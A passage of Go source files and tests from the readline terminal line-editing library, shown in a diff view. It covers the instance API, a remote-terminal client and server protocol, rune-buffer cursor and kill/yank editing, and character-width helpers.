}
func (i *Instance) ReadPassword(prompt string) ([]byte, error) {
return i.Operation.Password(prompt)
}
type Result struct {
Line string
Error error
}
func (l *Result) CanContinue() bool {
return len(l.Line) != 0 && l.Error == ErrInterrupt
}
func (l *Result) CanBreak() bool {
return !l.CanContinue() && l.Error != nil
}
func (i *Instance) Line() *Result {
ret, err := i.Readline()
return &Result{ret, err}
}
func (i *Instance) ReadlineEx() (string, error) {
return i.Operation.StringEx()
}
// err is one of (nil, io.EOF, readline.ErrInterrupt)
func (i *Instance) Readline() (string, error) {
return i.Operation.String()
}
func (i *Instance) ReadlineWithDefault(what string) (string, error) {
i.Operation.SetBuffer(what)
return i.Operation.String()
}
func (i *Instance) SaveHistory(content string) error {
return i.Operation.SaveHistory(content)
}
// same as readline
func (i *Instance) ReadSlice() ([]byte, error) {
return i.Operation.Slice()
}
// we must make sure that call Close() before process exit.
func (i *Instance) Close() error {
i.Config.Stdin.Close()
i.Operation.Close()
if err := i.Terminal.Close(); err != nil {
return err
}
return nil
}
// call CaptureExitSignal when you want readline exit gracefully.
func (i *Instance) CaptureExitSignal() {
CaptureExitSignal(func() {
i.Close()
})
}
func (i *Instance) Clean() {
i.Operation.Clean()
}
func (i *Instance) Write(b []byte) (int, error) {
return i.Stdout().Write(b)
}
// WriteStdin prefill the next Stdin fetch
// Next time you call ReadLine() this value will be writen before the user input
// ie :
// i := readline.New()
// i.WriteStdin([]byte("test"))
// _, _= i.Readline()
//
// gives
//
// > test[cursor]
func (i *Instance) WriteStdin(val []byte) (int, error) {
return i.Terminal.WriteStdin(val)
}
func (i *Instance) SetConfig(cfg *Config) *Config {
if i.Config == cfg {
return cfg
}
old := i.Config
i.Config = cfg
i.Operation.SetConfig(cfg)
i.Terminal.SetConfig(cfg)
return old
}
func (i *Instance) Refresh() {
i.Operation.Refresh()
}
// HistoryDisable the save of the commands into the history
func (i *Instance) HistoryDisable() {
i.Operation.history.Disable()
}
// HistoryEnable the save of the commands into the history (default on)
func (i *Instance) HistoryEnable() {
i.Operation.history.Enable()
}
+27
View File
@@ -0,0 +1,27 @@
package readline
import (
"testing"
"time"
)
func TestRace(t *testing.T) {
rl, err := NewEx(&Config{})
if err != nil {
t.Fatal(err)
return
}
go func() {
for range time.Tick(time.Millisecond) {
rl.SetPrompt("hello")
}
}()
go func() {
time.Sleep(100 * time.Millisecond)
rl.Close()
}()
rl.Readline()
}
+475
View File
@@ -0,0 +1,475 @@
package readline
import (
"bufio"
"bytes"
"encoding/binary"
"fmt"
"io"
"net"
"os"
"sync"
"sync/atomic"
)
type MsgType int16
const (
T_DATA = MsgType(iota)
T_WIDTH
T_WIDTH_REPORT
T_ISTTY_REPORT
T_RAW
T_ERAW // exit raw
T_EOF
)
type RemoteSvr struct {
eof int32
closed int32
width int32
reciveChan chan struct{}
writeChan chan *writeCtx
conn net.Conn
isTerminal bool
funcWidthChan func()
stopChan chan struct{}
dataBufM sync.Mutex
dataBuf bytes.Buffer
}
type writeReply struct {
n int
err error
}
type writeCtx struct {
msg *Message
reply chan *writeReply
}
func newWriteCtx(msg *Message) *writeCtx {
return &writeCtx{
msg: msg,
reply: make(chan *writeReply),
}
}
func NewRemoteSvr(conn net.Conn) (*RemoteSvr, error) {
rs := &RemoteSvr{
width: -1,
conn: conn,
writeChan: make(chan *writeCtx),
reciveChan: make(chan struct{}),
stopChan: make(chan struct{}),
}
buf := bufio.NewReader(rs.conn)
if err := rs.init(buf); err != nil {
return nil, err
}
go rs.readLoop(buf)
go rs.writeLoop()
return rs, nil
}
func (r *RemoteSvr) init(buf *bufio.Reader) error {
m, err := ReadMessage(buf)
if err != nil {
return err
}
// receive isTerminal
if m.Type != T_ISTTY_REPORT {
return fmt.Errorf("unexpected init message")
}
r.GotIsTerminal(m.Data)
// receive width
m, err = ReadMessage(buf)
if err != nil {
return err
}
if m.Type != T_WIDTH_REPORT {
return fmt.Errorf("unexpected init message")
}
r.GotReportWidth(m.Data)
return nil
}
func (r *RemoteSvr) HandleConfig(cfg *Config) {
cfg.Stderr = r
cfg.Stdout = r
cfg.Stdin = r
cfg.FuncExitRaw = r.ExitRawMode
cfg.FuncIsTerminal = r.IsTerminal
cfg.FuncMakeRaw = r.EnterRawMode
cfg.FuncExitRaw = r.ExitRawMode
cfg.FuncGetWidth = r.GetWidth
cfg.FuncOnWidthChanged = func(f func()) {
r.funcWidthChan = f
}
}
func (r *RemoteSvr) IsTerminal() bool {
return r.isTerminal
}
func (r *RemoteSvr) checkEOF() error {
if atomic.LoadInt32(&r.eof) == 1 {
return io.EOF
}
return nil
}
func (r *RemoteSvr) Read(b []byte) (int, error) {
r.dataBufM.Lock()
n, err := r.dataBuf.Read(b)
r.dataBufM.Unlock()
if n == 0 {
if err := r.checkEOF(); err != nil {
return 0, err
}
}
if n == 0 && err == io.EOF {
<-r.reciveChan
r.dataBufM.Lock()
n, err = r.dataBuf.Read(b)
r.dataBufM.Unlock()
}
if n == 0 {
if err := r.checkEOF(); err != nil {
return 0, err
}
}
return n, err
}
func (r *RemoteSvr) writeMsg(m *Message) error {
ctx := newWriteCtx(m)
r.writeChan <- ctx
reply := <-ctx.reply
return reply.err
}
func (r *RemoteSvr) Write(b []byte) (int, error) {
ctx := newWriteCtx(NewMessage(T_DATA, b))
r.writeChan <- ctx
reply := <-ctx.reply
return reply.n, reply.err
}
func (r *RemoteSvr) EnterRawMode() error {
return r.writeMsg(NewMessage(T_RAW, nil))
}
func (r *RemoteSvr) ExitRawMode() error {
return r.writeMsg(NewMessage(T_ERAW, nil))
}
func (r *RemoteSvr) writeLoop() {
defer r.Close()
loop:
for {
select {
case ctx, ok := <-r.writeChan:
if !ok {
break
}
n, err := ctx.msg.WriteTo(r.conn)
ctx.reply <- &writeReply{n, err}
case <-r.stopChan:
break loop
}
}
}
func (r *RemoteSvr) Close() error {
if atomic.CompareAndSwapInt32(&r.closed, 0, 1) {
close(r.stopChan)
r.conn.Close()
}
return nil
}
func (r *RemoteSvr) readLoop(buf *bufio.Reader) {
defer r.Close()
for {
m, err := ReadMessage(buf)
if err != nil {
break
}
switch m.Type {
case T_EOF:
atomic.StoreInt32(&r.eof, 1)
select {
case r.reciveChan <- struct{}{}:
default:
}
case T_DATA:
r.dataBufM.Lock()
r.dataBuf.Write(m.Data)
r.dataBufM.Unlock()
select {
case r.reciveChan <- struct{}{}:
default:
}
case T_WIDTH_REPORT:
r.GotReportWidth(m.Data)
case T_ISTTY_REPORT:
r.GotIsTerminal(m.Data)
}
}
}
func (r *RemoteSvr) GotIsTerminal(data []byte) {
if binary.BigEndian.Uint16(data) == 0 {
r.isTerminal = false
} else {
r.isTerminal = true
}
}
func (r *RemoteSvr) GotReportWidth(data []byte) {
atomic.StoreInt32(&r.width, int32(binary.BigEndian.Uint16(data)))
if r.funcWidthChan != nil {
r.funcWidthChan()
}
}
func (r *RemoteSvr) GetWidth() int {
return int(atomic.LoadInt32(&r.width))
}
// -----------------------------------------------------------------------------
type Message struct {
Type MsgType
Data []byte
}
func ReadMessage(r io.Reader) (*Message, error) {
m := new(Message)
var length int32
if err := binary.Read(r, binary.BigEndian, &length); err != nil {
return nil, err
}
if err := binary.Read(r, binary.BigEndian, &m.Type); err != nil {
return nil, err
}
m.Data = make([]byte, int(length)-2)
if _, err := io.ReadFull(r, m.Data); err != nil {
return nil, err
}
return m, nil
}
func NewMessage(t MsgType, data []byte) *Message {
return &Message{t, data}
}
func (m *Message) WriteTo(w io.Writer) (int, error) {
buf := bytes.NewBuffer(make([]byte, 0, len(m.Data)+2+4))
binary.Write(buf, binary.BigEndian, int32(len(m.Data)+2))
binary.Write(buf, binary.BigEndian, m.Type)
buf.Write(m.Data)
n, err := buf.WriteTo(w)
return int(n), err
}
// -----------------------------------------------------------------------------
type RemoteCli struct {
conn net.Conn
raw RawMode
receiveChan chan struct{}
inited int32
isTerminal *bool
data bytes.Buffer
dataM sync.Mutex
}
func NewRemoteCli(conn net.Conn) (*RemoteCli, error) {
r := &RemoteCli{
conn: conn,
receiveChan: make(chan struct{}),
}
return r, nil
}
func (r *RemoteCli) MarkIsTerminal(is bool) {
r.isTerminal = &is
}
func (r *RemoteCli) init() error {
if !atomic.CompareAndSwapInt32(&r.inited, 0, 1) {
return nil
}
if err := r.reportIsTerminal(); err != nil {
return err
}
if err := r.reportWidth(); err != nil {
return err
}
// register sig for width changed
DefaultOnWidthChanged(func() {
r.reportWidth()
})
return nil
}
func (r *RemoteCli) writeMsg(m *Message) error {
r.dataM.Lock()
_, err := m.WriteTo(r.conn)
r.dataM.Unlock()
return err
}
func (r *RemoteCli) Write(b []byte) (int, error) {
m := NewMessage(T_DATA, b)
r.dataM.Lock()
_, err := m.WriteTo(r.conn)
r.dataM.Unlock()
return len(b), err
}
func (r *RemoteCli) reportWidth() error {
screenWidth := GetScreenWidth()
data := make([]byte, 2)
binary.BigEndian.PutUint16(data, uint16(screenWidth))
msg := NewMessage(T_WIDTH_REPORT, data)
if err := r.writeMsg(msg); err != nil {
return err
}
return nil
}
func (r *RemoteCli) reportIsTerminal() error {
var isTerminal bool
if r.isTerminal != nil {
isTerminal = *r.isTerminal
} else {
isTerminal = DefaultIsTerminal()
}
data := make([]byte, 2)
if isTerminal {
binary.BigEndian.PutUint16(data, 1)
} else {
binary.BigEndian.PutUint16(data, 0)
}
msg := NewMessage(T_ISTTY_REPORT, data)
if err := r.writeMsg(msg); err != nil {
return err
}
return nil
}
func (r *RemoteCli) readLoop() {
buf := bufio.NewReader(r.conn)
for {
msg, err := ReadMessage(buf)
if err != nil {
break
}
switch msg.Type {
case T_ERAW:
r.raw.Exit()
case T_RAW:
r.raw.Enter()
case T_DATA:
os.Stdout.Write(msg.Data)
}
}
}
func (r *RemoteCli) ServeBy(source io.Reader) error {
if err := r.init(); err != nil {
return err
}
go func() {
defer r.Close()
for {
n, _ := io.Copy(r, source)
if n == 0 {
break
}
}
}()
defer r.raw.Exit()
r.readLoop()
return nil
}
func (r *RemoteCli) Close() {
r.writeMsg(NewMessage(T_EOF, nil))
}
func (r *RemoteCli) Serve() error {
return r.ServeBy(os.Stdin)
}
func ListenRemote(n, addr string, cfg *Config, h func(*Instance), onListen ...func(net.Listener) error) error {
ln, err := net.Listen(n, addr)
if err != nil {
return err
}
if len(onListen) > 0 {
if err := onListen[0](ln); err != nil {
return err
}
}
for {
conn, err := ln.Accept()
if err != nil {
break
}
go func() {
defer conn.Close()
rl, err := HandleConn(*cfg, conn)
if err != nil {
return
}
h(rl)
}()
}
return nil
}
func HandleConn(cfg Config, conn net.Conn) (*Instance, error) {
r, err := NewRemoteSvr(conn)
if err != nil {
return nil, err
}
r.HandleConfig(&cfg)
rl, err := NewEx(&cfg)
if err != nil {
return nil, err
}
return rl, nil
}
func DialRemote(n, addr string) error {
conn, err := net.Dial(n, addr)
if err != nil {
return err
}
defer conn.Close()
cli, err := NewRemoteCli(conn)
if err != nil {
return err
}
return cli.Serve()
}
+649
View File
@@ -0,0 +1,649 @@
package readline
import (
"bufio"
"bytes"
"fmt"
"io"
"strconv"
"strings"
"sync"
)
type runeBufferBck struct {
buf []rune
idx int
}
type RuneBuffer struct {
buf []rune
idx int
prompt []rune
w io.Writer
hadClean bool
interactive bool
cfg *Config
width int
bck *runeBufferBck
offset string
lastKill []rune
sync.Mutex
}
func (r *RuneBuffer) pushKill(text []rune) {
r.lastKill = append([]rune{}, text...)
}
func (r *RuneBuffer) OnWidthChange(newWidth int) {
r.Lock()
r.width = newWidth
r.Unlock()
}
func (r *RuneBuffer) Backup() {
r.Lock()
r.bck = &runeBufferBck{r.buf, r.idx}
r.Unlock()
}
func (r *RuneBuffer) Restore() {
r.Refresh(func() {
if r.bck == nil {
return
}
r.buf = r.bck.buf
r.idx = r.bck.idx
})
}
func NewRuneBuffer(w io.Writer, prompt string, cfg *Config, width int) *RuneBuffer {
rb := &RuneBuffer{
w: w,
interactive: cfg.useInteractive(),
cfg: cfg,
width: width,
}
rb.SetPrompt(prompt)
return rb
}
func (r *RuneBuffer) SetConfig(cfg *Config) {
r.Lock()
r.cfg = cfg
r.interactive = cfg.useInteractive()
r.Unlock()
}
func (r *RuneBuffer) SetMask(m rune) {
r.Lock()
r.cfg.MaskRune = m
r.Unlock()
}
func (r *RuneBuffer) CurrentWidth(x int) int {
r.Lock()
defer r.Unlock()
return runes.WidthAll(r.buf[:x])
}
func (r *RuneBuffer) PromptLen() int {
r.Lock()
width := r.promptLen()
r.Unlock()
return width
}
func (r *RuneBuffer) promptLen() int {
return runes.WidthAll(runes.ColorFilter(r.prompt))
}
func (r *RuneBuffer) RuneSlice(i int) []rune {
r.Lock()
defer r.Unlock()
if i > 0 {
rs := make([]rune, i)
copy(rs, r.buf[r.idx:r.idx+i])
return rs
}
rs := make([]rune, -i)
copy(rs, r.buf[r.idx+i:r.idx])
return rs
}
func (r *RuneBuffer) Runes() []rune {
r.Lock()
newr := make([]rune, len(r.buf))
copy(newr, r.buf)
r.Unlock()
return newr
}
func (r *RuneBuffer) Pos() int {
r.Lock()
defer r.Unlock()
return r.idx
}
func (r *RuneBuffer) Len() int {
r.Lock()
defer r.Unlock()
return len(r.buf)
}
func (r *RuneBuffer) MoveToLineStart() {
r.Refresh(func() {
if r.idx == 0 {
return
}
r.idx = 0
})
}
func (r *RuneBuffer) MoveBackward() {
r.Refresh(func() {
if r.idx == 0 {
return
}
if r.cfg.ForcePrint {
fmt.Print(string([]byte{8}))
}
r.idx--
})
}
func (r *RuneBuffer) WriteString(s string) {
r.WriteRunes([]rune(s))
}
func (r *RuneBuffer) WriteRune(s rune) {
r.WriteRunes([]rune{s})
}
func (r *RuneBuffer) WriteRunes(s []rune) {
r.Refresh(func() {
if r.cfg.ForcePrint {
fmt.Print(string(s))
}
tail := append(s, r.buf[r.idx:]...)
r.buf = append(r.buf[:r.idx], tail...)
r.idx += len(s)
})
}
func (r *RuneBuffer) MoveForward() {
r.Refresh(func() {
if r.idx == len(r.buf) {
return
}
if r.cfg.ForcePrint {
fmt.Print(string(r.buf[r.idx]))
}
r.idx++
})
}
func (r *RuneBuffer) IsCursorInEnd() bool {
r.Lock()
defer r.Unlock()
return r.idx == len(r.buf)
}
func (r *RuneBuffer) Replace(ch rune) {
r.Refresh(func() {
r.buf[r.idx] = ch
})
}
func (r *RuneBuffer) Erase() {
r.Refresh(func() {
r.idx = 0
r.pushKill(r.buf[:])
r.buf = r.buf[:0]
})
}
func (r *RuneBuffer) Delete() (success bool) {
r.Refresh(func() {
if r.idx == len(r.buf) {
return
}
r.pushKill(r.buf[r.idx : r.idx+1])
r.buf = append(r.buf[:r.idx], r.buf[r.idx+1:]...)
success = true
})
return
}
func (r *RuneBuffer) DeleteWord() {
if r.idx == len(r.buf) {
return
}
init := r.idx
for init < len(r.buf) && IsWordBreak(r.buf[init]) {
init++
}
for i := init + 1; i < len(r.buf); i++ {
if !IsWordBreak(r.buf[i]) && IsWordBreak(r.buf[i-1]) {
r.pushKill(r.buf[r.idx : i-1])
r.Refresh(func() {
r.buf = append(r.buf[:r.idx], r.buf[i-1:]...)
})
return
}
}
r.Kill()
}
func (r *RuneBuffer) MoveToPrevWord() (success bool) {
r.Refresh(func() {
if r.idx == 0 {
return
}
for i := r.idx - 1; i > 0; i-- {
if !IsWordBreak(r.buf[i]) && IsWordBreak(r.buf[i-1]) {
r.idx = i
success = true
return
}
}
r.idx = 0
success = true
})
return
}
func (r *RuneBuffer) KillFront() {
r.Refresh(func() {
if r.idx == 0 {
return
}
length := len(r.buf) - r.idx
r.pushKill(r.buf[:r.idx])
copy(r.buf[:length], r.buf[r.idx:])
r.idx = 0
r.buf = r.buf[:length]
})
}
func (r *RuneBuffer) Kill() {
r.Refresh(func() {
r.pushKill(r.buf[r.idx:])
r.buf = r.buf[:r.idx]
})
}
func (r *RuneBuffer) Transpose() {
r.Refresh(func() {
if len(r.buf) == 1 {
r.idx++
}
if len(r.buf) < 2 {
return
}
if r.idx == 0 {
r.idx = 1
} else if r.idx >= len(r.buf) {
r.idx = len(r.buf) - 1
}
r.buf[r.idx], r.buf[r.idx-1] = r.buf[r.idx-1], r.buf[r.idx]
r.idx++
})
}
func (r *RuneBuffer) MoveToNextWord() {
r.Refresh(func() {
for i := r.idx + 1; i < len(r.buf); i++ {
if !IsWordBreak(r.buf[i]) && IsWordBreak(r.buf[i-1]) {
r.idx = i
return
}
}
r.idx = len(r.buf)
})
}
func (r *RuneBuffer) MoveToEndWord() {
r.Refresh(func() {
// already at the end, so do nothing
if r.idx == len(r.buf) {
return
}
// if we are at the end of a word already, go to next
if !IsWordBreak(r.buf[r.idx]) && IsWordBreak(r.buf[r.idx+1]) {
r.idx++
}
// keep going until at the end of a word
for i := r.idx + 1; i < len(r.buf); i++ {
if IsWordBreak(r.buf[i]) && !IsWordBreak(r.buf[i-1]) {
r.idx = i - 1
return
}
}
r.idx = len(r.buf)
})
}
func (r *RuneBuffer) BackEscapeWord() {
r.Refresh(func() {
if r.idx == 0 {
return
}
for i := r.idx - 1; i > 0; i-- {
if !IsWordBreak(r.buf[i]) && IsWordBreak(r.buf[i-1]) {
r.pushKill(r.buf[i:r.idx])
r.buf = append(r.buf[:i], r.buf[r.idx:]...)
r.idx = i
return
}
}
r.buf = r.buf[:0]
r.idx = 0
})
}
func (r *RuneBuffer) Yank() {
if len(r.lastKill) == 0 {
return
}
r.Refresh(func() {
buf := make([]rune, 0, len(r.buf)+len(r.lastKill))
buf = append(buf, r.buf[:r.idx]...)
buf = append(buf, r.lastKill...)
buf = append(buf, r.buf[r.idx:]...)
r.buf = buf
r.idx += len(r.lastKill)
})
}
func (r *RuneBuffer) Backspace() {
r.Refresh(func() {
if r.idx == 0 {
return
}
if r.cfg.ForcePrint {
fmt.Print(string([]byte{8, 32, 8}))
}
r.idx--
r.buf = append(r.buf[:r.idx], r.buf[r.idx+1:]...)
})
}
func (r *RuneBuffer) MoveToLineEnd() {
r.Refresh(func() {
if r.idx == len(r.buf) {
return
}
r.idx = len(r.buf)
})
}
func (r *RuneBuffer) LineCount(width int) int {
if width == -1 {
width = r.width
}
return LineCount(width,
runes.WidthAll(r.buf)+r.PromptLen())
}
func (r *RuneBuffer) MoveTo(ch rune, prevChar, reverse bool) (success bool) {
r.Refresh(func() {
if reverse {
for i := r.idx - 1; i >= 0; i-- {
if r.buf[i] == ch {
r.idx = i
if prevChar {
r.idx++
}
success = true
return
}
}
return
}
for i := r.idx + 1; i < len(r.buf); i++ {
if r.buf[i] == ch {
r.idx = i
if prevChar {
r.idx--
}
success = true
return
}
}
})
return
}
func (r *RuneBuffer) isInLineEdge() bool {
if isWindows {
return false
}
sp := r.getSplitByLine(r.buf)
return len(sp[len(sp)-1]) == 0
}
func (r *RuneBuffer) getSplitByLine(rs []rune) []string {
return SplitByLine(r.promptLen(), r.width, rs)
}
func (r *RuneBuffer) IdxLine(width int) int {
r.Lock()
defer r.Unlock()
return r.idxLine(width)
}
func (r *RuneBuffer) idxLine(width int) int {
if width == 0 {
return 0
}
sp := r.getSplitByLine(r.buf[:r.idx])
return len(sp) - 1
}
func (r *RuneBuffer) CursorLineCount() int {
return r.LineCount(r.width) - r.IdxLine(r.width)
}
func (r *RuneBuffer) Refresh(f func()) {
r.Lock()
defer r.Unlock()
if !r.interactive {
if f != nil {
f()
}
return
}
r.clean()
if f != nil {
f()
}
r.print()
}
func (r *RuneBuffer) SetOffset(offset string) {
r.Lock()
r.offset = offset
r.Unlock()
}
func (r *RuneBuffer) print() {
r.w.Write(r.output())
r.hadClean = false
}
func (r *RuneBuffer) output() []byte {
buf := bytes.NewBuffer(nil)
buf.WriteString(string(r.prompt))
if r.cfg.EnableMask && len(r.buf) > 0 {
buf.Write([]byte(strings.Repeat(string(r.cfg.MaskRune), len(r.buf)-1)))
if r.buf[len(r.buf)-1] == '\n' {
buf.Write([]byte{'\n'})
} else {
buf.Write([]byte(string(r.cfg.MaskRune)))
}
if len(r.buf) > r.idx {
buf.Write(r.getBackspaceSequence())
}
} else {
for _, e := range r.cfg.Painter.Paint(r.buf, r.idx) {
if e == '\t' {
buf.WriteString(strings.Repeat(" ", TabWidth))
} else {
buf.WriteRune(e)
}
}
if r.isInLineEdge() {
buf.Write([]byte(" \b"))
}
}
// cursor position
if len(r.buf) > r.idx {
buf.Write(r.getBackspaceSequence())
}
return buf.Bytes()
}
func (r *RuneBuffer) getBackspaceSequence() []byte {
var sep = map[int]bool{}
var i int
for {
if i >= runes.WidthAll(r.buf) {
break
}
if i == 0 {
i -= r.promptLen()
}
i += r.width
sep[i] = true
}
var buf []byte
for i := len(r.buf); i > r.idx; i-- {
// move input to the left of one
buf = append(buf, '\b')
if sep[i] {
// up one line, go to the start of the line and move cursor right to the end (r.width)
buf = append(buf, "\033[A\r"+"\033["+strconv.Itoa(r.width)+"C"...)
}
}
return buf
}
func (r *RuneBuffer) Reset() []rune {
ret := runes.Copy(r.buf)
r.buf = r.buf[:0]
r.idx = 0
return ret
}
func (r *RuneBuffer) calWidth(m int) int {
if m > 0 {
return runes.WidthAll(r.buf[r.idx : r.idx+m])
}
return runes.WidthAll(r.buf[r.idx+m : r.idx])
}
func (r *RuneBuffer) SetStyle(start, end int, style string) {
if end < start {
panic("end < start")
}
// goto start
move := start - r.idx
if move > 0 {
r.w.Write([]byte(string(r.buf[r.idx : r.idx+move])))
} else {
r.w.Write(bytes.Repeat([]byte("\b"), r.calWidth(move)))
}
r.w.Write([]byte("\033[" + style + "m"))
r.w.Write([]byte(string(r.buf[start:end])))
r.w.Write([]byte("\033[0m"))
// TODO: move back
}
func (r *RuneBuffer) SetWithIdx(idx int, buf []rune) {
r.Refresh(func() {
r.buf = buf
r.idx = idx
})
}
func (r *RuneBuffer) Set(buf []rune) {
r.SetWithIdx(len(buf), buf)
}
func (r *RuneBuffer) SetPrompt(prompt string) {
r.Lock()
r.prompt = []rune(prompt)
r.Unlock()
}
func (r *RuneBuffer) cleanOutput(w io.Writer, idxLine int) {
buf := bufio.NewWriter(w)
if r.width == 0 {
buf.WriteString(strings.Repeat("\r\b", len(r.buf)+r.promptLen()))
buf.Write([]byte("\033[J"))
} else {
buf.Write([]byte("\033[J")) // just like ^k :)
if idxLine == 0 {
buf.WriteString("\033[2K")
buf.WriteString("\r")
} else {
for i := 0; i < idxLine; i++ {
io.WriteString(buf, "\033[2K\r\033[A")
}
io.WriteString(buf, "\033[2K\r")
}
}
buf.Flush()
return
}
func (r *RuneBuffer) Clean() {
r.Lock()
r.clean()
r.Unlock()
}
func (r *RuneBuffer) clean() {
r.cleanWithIdxLine(r.idxLine(r.width))
}
func (r *RuneBuffer) cleanWithIdxLine(idxLine int) {
if r.hadClean || !r.interactive {
return
}
r.hadClean = true
r.cleanOutput(r.w, idxLine)
}
+223
View File
@@ -0,0 +1,223 @@
package readline
import (
"bytes"
"unicode"
"unicode/utf8"
)
var runes = Runes{}
var TabWidth = 4
type Runes struct{}
func (Runes) EqualRune(a, b rune, fold bool) bool {
if a == b {
return true
}
if !fold {
return false
}
if a > b {
a, b = b, a
}
if b < utf8.RuneSelf && 'A' <= a && a <= 'Z' {
if b == a+'a'-'A' {
return true
}
}
return false
}
func (r Runes) EqualRuneFold(a, b rune) bool {
return r.EqualRune(a, b, true)
}
func (r Runes) EqualFold(a, b []rune) bool {
if len(a) != len(b) {
return false
}
for i := 0; i < len(a); i++ {
if r.EqualRuneFold(a[i], b[i]) {
continue
}
return false
}
return true
}
func (Runes) Equal(a, b []rune) bool {
if len(a) != len(b) {
return false
}
for i := 0; i < len(a); i++ {
if a[i] != b[i] {
return false
}
}
return true
}
func (rs Runes) IndexAllBckEx(r, sub []rune, fold bool) int {
for i := len(r) - len(sub); i >= 0; i-- {
found := true
for j := 0; j < len(sub); j++ {
if !rs.EqualRune(r[i+j], sub[j], fold) {
found = false
break
}
}
if found {
return i
}
}
return -1
}
// Search in runes from end to front
func (rs Runes) IndexAllBck(r, sub []rune) int {
return rs.IndexAllBckEx(r, sub, false)
}
// Search in runes from front to end
func (rs Runes) IndexAll(r, sub []rune) int {
return rs.IndexAllEx(r, sub, false)
}
func (rs Runes) IndexAllEx(r, sub []rune, fold bool) int {
for i := 0; i < len(r); i++ {
found := true
if len(r[i:]) < len(sub) {
return -1
}
for j := 0; j < len(sub); j++ {
if !rs.EqualRune(r[i+j], sub[j], fold) {
found = false
break
}
}
if found {
return i
}
}
return -1
}
func (Runes) Index(r rune, rs []rune) int {
for i := 0; i < len(rs); i++ {
if rs[i] == r {
return i
}
}
return -1
}
func (Runes) ColorFilter(r []rune) []rune {
newr := make([]rune, 0, len(r))
for pos := 0; pos < len(r); pos++ {
if r[pos] == '\033' && r[pos+1] == '[' {
idx := runes.Index('m', r[pos+2:])
if idx == -1 {
continue
}
pos += idx + 2
continue
}
newr = append(newr, r[pos])
}
return newr
}
var zeroWidth = []*unicode.RangeTable{
unicode.Mn,
unicode.Me,
unicode.Cc,
unicode.Cf,
}
var doubleWidth = []*unicode.RangeTable{
unicode.Han,
unicode.Hangul,
unicode.Hiragana,
unicode.Katakana,
}
func (Runes) Width(r rune) int {
if r == '\t' {
return TabWidth
}
if unicode.IsOneOf(zeroWidth, r) {
return 0
}
if unicode.IsOneOf(doubleWidth, r) {
return 2
}
return 1
}
func (Runes) WidthAll(r []rune) (length int) {
for i := 0; i < len(r); i++ {
length += runes.Width(r[i])
}
return
}
func (Runes) Backspace(r []rune) []byte {
return bytes.Repeat([]byte{'\b'}, runes.WidthAll(r))
}
func (Runes) Copy(r []rune) []rune {
n := make([]rune, len(r))
copy(n, r)
return n
}
func (Runes) HasPrefixFold(r, prefix []rune) bool {
if len(r) < len(prefix) {
return false
}
return runes.EqualFold(r[:len(prefix)], prefix)
}
func (Runes) HasPrefix(r, prefix []rune) bool {
if len(r) < len(prefix) {
return false
}
return runes.Equal(r[:len(prefix)], prefix)
}
func (Runes) Aggregate(candicate [][]rune) (same []rune, size int) {
for i := 0; i < len(candicate[0]); i++ {
for j := 0; j < len(candicate)-1; j++ {
if i >= len(candicate[j]) || i >= len(candicate[j+1]) {
goto aggregate
}
if candicate[j][i] != candicate[j+1][i] {
goto aggregate
}
}
size = i + 1
}
aggregate:
if size > 0 {
same = runes.Copy(candicate[0][:size])
for i := 0; i < len(candicate); i++ {
n := runes.Copy(candicate[i])
copy(n, n[size:])
candicate[i] = n[:len(n)-size]
}
}
return
}
func (Runes) TrimSpaceLeft(in []rune) []rune {
firstIndex := len(in)
for i, r := range in {
if unicode.IsSpace(r) == false {
firstIndex = i
break
}
}
return in[firstIndex:]
}
+155
View File
@@ -0,0 +1,155 @@
// deprecated.
// see https://github.com/chzyer/readline/issues/43
// use github.com/chzyer/readline/runes.go
package runes
import (
"bytes"
"unicode"
)
func Equal(a, b []rune) bool {
if len(a) != len(b) {
return false
}
for i := 0; i < len(a); i++ {
if a[i] != b[i] {
return false
}
}
return true
}
// Search in runes from end to front
func IndexAllBck(r, sub []rune) int {
for i := len(r) - len(sub); i >= 0; i-- {
found := true
for j := 0; j < len(sub); j++ {
if r[i+j] != sub[j] {
found = false
break
}
}
if found {
return i
}
}
return -1
}
// Search in runes from front to end
func IndexAll(r, sub []rune) int {
for i := 0; i < len(r); i++ {
found := true
if len(r[i:]) < len(sub) {
return -1
}
for j := 0; j < len(sub); j++ {
if r[i+j] != sub[j] {
found = false
break
}
}
if found {
return i
}
}
return -1
}
func Index(r rune, rs []rune) int {
for i := 0; i < len(rs); i++ {
if rs[i] == r {
return i
}
}
return -1
}
func ColorFilter(r []rune) []rune {
newr := make([]rune, 0, len(r))
for pos := 0; pos < len(r); pos++ {
if r[pos] == '\033' && r[pos+1] == '[' {
idx := Index('m', r[pos+2:])
if idx == -1 {
continue
}
pos += idx + 2
continue
}
newr = append(newr, r[pos])
}
return newr
}
var zeroWidth = []*unicode.RangeTable{
unicode.Mn,
unicode.Me,
unicode.Cc,
unicode.Cf,
}
var doubleWidth = []*unicode.RangeTable{
unicode.Han,
unicode.Hangul,
unicode.Hiragana,
unicode.Katakana,
}
func Width(r rune) int {
if unicode.IsOneOf(zeroWidth, r) {
return 0
}
if unicode.IsOneOf(doubleWidth, r) {
return 2
}
return 1
}
func WidthAll(r []rune) (length int) {
for i := 0; i < len(r); i++ {
length += Width(r[i])
}
return
}
func Backspace(r []rune) []byte {
return bytes.Repeat([]byte{'\b'}, WidthAll(r))
}
func Copy(r []rune) []rune {
n := make([]rune, len(r))
copy(n, r)
return n
}
func HasPrefix(r, prefix []rune) bool {
if len(r) < len(prefix) {
return false
}
return Equal(r[:len(prefix)], prefix)
}
func Aggregate(candicate [][]rune) (same []rune, size int) {
for i := 0; i < len(candicate[0]); i++ {
for j := 0; j < len(candicate)-1; j++ {
if i >= len(candicate[j]) || i >= len(candicate[j+1]) {
goto aggregate
}
if candicate[j][i] != candicate[j+1][i] {
goto aggregate
}
}
size = i + 1
}
aggregate:
if size > 0 {
same = Copy(candicate[0][:size])
for i := 0; i < len(candicate); i++ {
n := Copy(candicate[i])
copy(n, n[size:])
candicate[i] = n[:len(n)-size]
}
}
return
}
+68
View File
@@ -0,0 +1,68 @@
package runes
import (
"reflect"
"testing"
)
type twidth struct {
r []rune
length int
}
func TestRuneWidth(t *testing.T) {
runes := []twidth{
{[]rune("☭"), 1},
{[]rune("a"), 1},
{[]rune("你"), 2},
{ColorFilter([]rune("☭\033[13;1m你")), 3},
}
for _, r := range runes {
if w := WidthAll(r.r); w != r.length {
t.Fatal("result not expect", r.r, r.length, w)
}
}
}
type tagg struct {
r [][]rune
e [][]rune
length int
}
func TestAggRunes(t *testing.T) {
runes := []tagg{
{
[][]rune{[]rune("ab"), []rune("a"), []rune("abc")},
[][]rune{[]rune("b"), []rune(""), []rune("bc")},
1,
},
